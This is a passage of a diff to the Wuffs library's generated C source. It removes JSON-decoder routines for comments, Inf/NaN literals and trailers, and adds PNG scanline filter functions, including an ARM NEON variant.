WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- continue; -- } -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- } -- v_c2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -- if ((v_c2 == 10799u) && self->private_impl.f_quirks[11u]) { -- iop_a_src += 2u; -- v_length = 2u; -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 1u) { -- if (v_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- } -- v_length = 0u; -- continue; -- } -- v_c2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -- if (v_c2 == 12074u) { -- iop_a_src += 2u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)((v_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- self->private_impl.f_comment_type = 1u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- iop_a_src += 1u; -- if (v_length >= 65533u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -- } -- v_length = 0u; -- continue; -- } -- v_length += 1u; -- } -- } else if ((v_c2 == 12079u) && self->private_impl.f_quirks[12u]) { -- iop_a_src += 2u; -- v_length = 2u; -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- self->private_impl.f_comment_type = 2u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } else if (v_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -- } -- v_length = 0u; -- continue; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if (v_c == 10u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- self->private_impl.f_comment_type = 2u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- iop_a_src += 1u; -- if (v_length >= 65533u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)((v_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -- } -- v_length = 0u; -- continue; -- } -- v_length += 1u; -- } -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_4_arm_neon( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ uint8x8_t v_fa = {0}; -+ uint8x8_t v_fb = {0}; -+ uint8x8_t v_fc = {0}; -+ uint8x8_t v_fx = {0}; -+ uint16x8_t v_fafb = {0}; -+ uint16x8_t v_fcfc = {0}; -+ uint16x8_t v_pa = {0}; -+ uint16x8_t v_pb = {0}; -+ uint16x8_t v_pc = {0}; -+ uint16x8_t v_cmpab = {0}; -+ uint16x8_t v_cmpac = {0}; -+ uint8x8_t v_picka = {0}; -+ uint8x8_t v_pickb = {0}; -+ -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fafb = vaddl_u8(v_fa, v_fb); -+ v_fcfc = vaddl_u8(v_fc, v_fc); -+ v_pa = vabdl_u8(v_fb, v_fc); -+ v_pb = vabdl_u8(v_fa, v_fc); -+ v_pc = vabdq_u16(v_fafb, v_fcfc); -+ v_cmpab = vcleq_u16(v_pa, v_pb); -+ v_cmpac = vcleq_u16(v_pa, v_pc); -+ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -+ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -+ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fc = v_fb; -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fafb = vaddl_u8(v_fa, v_fb); -+ v_fcfc = vaddl_u8(v_fc, v_fc); -+ v_pa = vabdl_u8(v_fb, v_fc); -+ v_pb = vabdl_u8(v_fa, v_fc); -+ v_pc = vabdq_u16(v_fafb, v_fcfc); -+ v_cmpab = vcleq_u16(v_pa, v_pb); -+ v_cmpac = vcleq_u16(v_pa, v_pc); -+ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -+ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -+ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fc = v_fb; -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; - } -- -- ok: -- self->private_impl.p_decode_comment[0] = 0; -- goto exit; -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); -+ v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); -+ v_fafb = vaddl_u8(v_fa, v_fb); -+ v_fcfc = vaddl_u8(v_fc, v_fc); -+ v_pa = vabdl_u8(v_fb, v_fc); -+ v_pb = vabdl_u8(v_fa, v_fc); -+ v_pc = vabdq_u16(v_fafb, v_fcfc); -+ v_cmpab = vcleq_u16(v_pa, v_pb); -+ v_cmpac = vcleq_u16(v_pa, v_pc); -+ v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); -+ v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); -+ v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); -+ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); -+ v_fc = v_fb; -+ v_fa = v_fx; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ } -+ v_curr.len = 0; -+ v_prev.len = 0; - } -+ return wuffs_base__make_empty_struct(); -+} -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+// ‼ WUFFS MULTI-FILE SECTION -arm_neon - -- goto suspend; -- suspend: -- self->private_impl.p_decode_comment[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+// -------- func png.decoder.filter_1 - -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr) { -+ return (*self->private_impl.choosy_filter_1)(self, a_curr); -+} - -- return status; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1__choosy_default( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr) { -+ uint64_t v_filter_distance = 0; -+ uint8_t v_fa = 0; -+ uint64_t v_i_start = 0; -+ uint64_t v_i = 0; -+ -+ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); -+ v_i_start = 0u; -+ while (v_i_start < v_filter_distance) { -+ v_fa = 0u; -+ v_i = v_i_start; -+ while (v_i < ((uint64_t)(a_curr.len))) { -+ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + v_fa)); -+ v_fa = a_curr.ptr[v_i]; -+ v_i += v_filter_distance; -+ } -+ v_i_start += 1u; -+ } -+ return wuffs_base__make_empty_struct(); - } - --// -------- func json.decoder.decode_inf_nan -+// -------- func png.decoder.filter_1_distance_3_fallback - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_inf_nan( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t v_c4 = 0; -- uint32_t v_neg = 0; -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_3_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ uint8_t v_fa0 = 0; -+ uint8_t v_fa1 = 0; -+ uint8_t v_fa2 = 0; - -- wuffs_base__token* iop_a_dst = NULL; -- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 3; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; -+ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; - } -+ v_curr.len = 3; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; -+ } -+ v_curr.len = 0; - } -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ return wuffs_base__make_empty_struct(); -+} - -- uint32_t coro_susp_point = self->private_impl.p_decode_inf_nan[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+// -------- func png.decoder.filter_1_distance_4_fallback - -- while (true) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- continue; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 2u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- continue; -- } -- v_c4 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -- if ((v_c4 | 2105376u) == 6712937u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) > 7u) { -- if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) | 2314885530818453536u) == 8751735898823356009u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(8u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 8u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- } else if ( ! (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- continue; -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(10485792u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 3u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } else if ((v_c4 | 2105376u) == 7233902u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(10485888u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(3u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 3u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } else if ((v_c4 & 255u) == 43u) { -- v_neg = 0u; -- } else if ((v_c4 & 255u) == 45u) { -- v_neg = 1u; -- } else { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 3u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- continue; -- } -- v_c4 = (wuffs_base__peek_u32le__no_bounds_check(iop_a_src) >> 8u); -- if ((v_c4 | 2105376u) == 6712937u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) > 8u) { -- if ((wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 1u) | 2314885530818453536u) == 8751735898823356009u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 9u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- } else if ( ! (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -- continue; -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((10485760u | (((uint32_t)(32u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 4u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } else if ((v_c4 | 2105376u) == 7233902u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((10485760u | (((uint32_t)(128u)) >> v_neg)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- iop_a_src += 4u; -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_1_distance_4_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ uint8_t v_fa0 = 0; -+ uint8_t v_fa1 = 0; -+ uint8_t v_fa2 = 0; -+ uint8_t v_fa3 = 0; - -- ok: -- self->private_impl.p_decode_inf_nan[0] = 0; -- goto exit; -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_fa3 = ((uint8_t)(v_fa3 + v_curr.ptr[3u])); -+ v_curr.ptr[3u] = v_fa3; -+ v_curr.ptr += 4; -+ } -+ v_curr.len = 0; - } -+ return wuffs_base__make_empty_struct(); -+} - -- goto suspend; -- suspend: -- self->private_impl.p_decode_inf_nan[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+// -------- func png.decoder.filter_2 - -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_2( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ uint64_t v_n = 0; -+ uint64_t v_i = 0; - -- return status; -+ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); -+ v_i = 0u; -+ while (v_i < v_n) { -+ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); -+ v_i += 1u; -+ } -+ return wuffs_base__make_empty_struct(); - } - --// -------- func json.decoder.decode_trailer -+// -------- func png.decoder.filter_3 - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_json__decoder__decode_trailer( -- wuffs_json__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ return (*self->private_impl.choosy_filter_3)(self, a_curr, a_prev); -+} - -- uint8_t v_c = 0; -- uint32_t v_whitespace_length = 0; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3__choosy_default( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ uint64_t v_filter_distance = 0; -+ uint64_t v_n = 0; -+ uint64_t v_i = 0; - -- wuffs_base__token* iop_a_dst = NULL; -- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -+ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); -+ if (((uint64_t)(a_prev.len)) == 0u) { -+ v_i = v_filter_distance; -+ while (v_i < ((uint64_t)(a_curr.len))) { -+ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(a_curr.ptr[(v_i - v_filter_distance)] / 2u)))); -+ v_i += 1u; -+ } -+ } else { -+ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); -+ v_i = 0u; -+ while ((v_i < v_n) && (v_i < v_filter_distance)) { -+ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(a_prev.ptr[v_i] / 2u)))); -+ v_i += 1u; -+ } -+ v_i = v_filter_distance; -+ while (v_i < v_n) { -+ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(((((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])) + ((uint32_t)(a_prev.ptr[v_i]))) / 2u))))); -+ v_i += 1u; - } - } -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ return wuffs_base__make_empty_struct(); -+} - -- uint32_t coro_susp_point = self->private_impl.p_decode_trailer[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+// -------- func png.decoder.filter_3_distance_3_fallback - -- if (self->private_impl.f_quirks[18u]) { -- self->private_impl.f_trailer_stop = 10u; -- } else { -- self->private_impl.f_trailer_stop = 0u; -- } -- label__outer__continue:; -- while (true) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- continue; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_3_distance_3_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ uint8_t v_fa0 = 0; -+ uint8_t v_fa1 = 0; -+ uint8_t v_fa2 = 0; -+ -+ if (((uint64_t)(a_prev.len)) == 0u) { -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 3; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; -+ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; - } -- v_whitespace_length = 0u; -- while (true) { -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (v_whitespace_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } -- if (a_src && a_src->meta.closed) { -- goto label__outer__break; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -- goto label__outer__continue; -- } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if 